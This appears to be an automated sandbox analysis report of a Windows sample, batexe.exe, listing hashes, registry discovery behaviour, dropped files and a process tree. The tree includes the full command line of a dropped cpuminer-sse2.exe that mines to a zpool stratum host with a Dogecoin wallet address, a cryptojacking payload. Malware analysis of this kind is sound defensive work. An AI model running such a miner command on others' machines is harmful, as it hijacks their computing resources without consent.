73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 02:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2936	b2e.exe
5016	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4940-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 2936	4940	batexe.exe	84
PID 4940 wrote to memory of 2936	4940	batexe.exe	84
PID 4940 wrote to memory of 2936	4940	batexe.exe	84
PID 2936 wrote to memory of 4404	2936	b2e.exe	85
PID 2936 wrote to memory of 4404	2936	b2e.exe	85
PID 2936 wrote to memory of 4404	2936	b2e.exe	85
PID 4404 wrote to memory of 5016	4404	cmd.exe	88
PID 4404 wrote to memory of 5016	4404	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4940
- C:\Users\Admin\AppData\Local\Temp\AA98.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AA98.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AA98.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B4AA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AA98.tmp\b2e.exe

Filesize
19.4MB

MD5
1c3d7d28b4753b533c4053511d0d02c8

SHA1
f245ed7ff4d8d493357de6a53796ddcb907bf329

SHA256
32369dd9d3aab1a50a375a73d89e230e029a316ea6cc1796cb745f6afc2ca6fa

SHA512
226f887c58d44f4681e62f416b9ea78b685d02d9a4ba2e86bbe696a9ca9fedbfdff70059eadb0442c451d3934dfa10d1db11a773304d34970e7437926845255d

Download Submit
C:\Users\Admin\AppData\Local\Temp\AA98.tmp\b2e.exe

Filesize
1024KB

MD5
55d3fcf113506e85b6cf485f08b11290

SHA1
539d601fdd7e37fe22412d8c73023e21293ac62c

SHA256
519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3

SHA512
62c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\AA98.tmp\b2e.exe

Filesize
768KB

MD5
41acb3c7c35169437c8e50c36e39f5a5

SHA1
6b7a95c8fb404247edb7430b46e931495eeba0d1

SHA256
77003c5f07279f31ace3879feb99ce0568a05bc7bc56ecd5707bc0581cb6016a

SHA512
670b258078f3ccd9e3e710a994d95d406094dab87b4e4e11e3b312a7883631877ea896bc53150cb8b9bb8a0500df129005973212fce0541978df505edbe7d145

Download Submit
C:\Users\Admin\AppData\Local\Temp\B4AA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
b465230cf79fcd815a31dad053d1dbe1

SHA1
f1bf5606ba3d1bb49d9437b5ba489fd9e8614ace

SHA256
cd616032256b5c1fdad92cf551a04c9f8fb9292262b19af72c1d8406b8baf865

SHA512
b832fcdf586c0afad6f0fc7dd315ba3ae05d3e49ca730ddba0ac463620afd44215a3e2d3f906de41e4448dd91610b13633148048819156aa27a4ee3155d3e9bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d80b98cad14ab7d8ad49bdea10bf6f78

SHA1
e36f47025de04864ea3233b946593dc46c7588dd

SHA256
87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

SHA512
bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
ea811f00e84df93ff2c7914ab6804cc5

SHA1
eabdb8b292a32609a114e69f090b1fae74a5997c

SHA256
4dfcb3832db322d1f8acbfb79250552a795587454d0c28bcf2834e0a84fa14f6

SHA512
fdfeb44966da53304a86b5fecd0cd1c747252758428c793a8521926e93d8f386b89ff5eaaea19cc8e0109755e929ac5bc55c62bf3abb31718b10d021b9b30c77

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
930ac01e1dbe3dcb3207015f7393f73d

SHA1
07ac5bca7bbfb0e43e7db5cc723afaccd605e1c0

SHA256
bc06c9be9eb8c73dc55990de169f0efded6fffb47e3952823ddcb5224cad3292

SHA512
0a1261235feaeea08cc1e5b61824ab0da7fe9a17c50b9d296dce31d90b2f09b313cebc7f921b7f987649333089109086eaa24ddbdef6be18023f2f87565e7ec2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
696922f5250b5df33813776816103357

SHA1
6f6e4cecb16596c1ad0e631c7ab5b56659da1ca2

SHA256
2802e69b65032d2cb76172ab508766f8a2b2beba9c2cd84dbf7c28fc9cbe1c7d

SHA512
dcb8535a83f321561241432304155a2e2a18435e102785a5789bd3a9ed643f153fb63ca797c8ca798d2d85927b29375048b43b0ef0bc4cb00c1c96b5822e8ae9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2936-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2936-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4940-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5016-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5016-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-46-0x00000000566F0000-0x0000000056788000-memory.dmp

Filesize
608KB

Download
memory/5016-47-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/5016-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5016-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download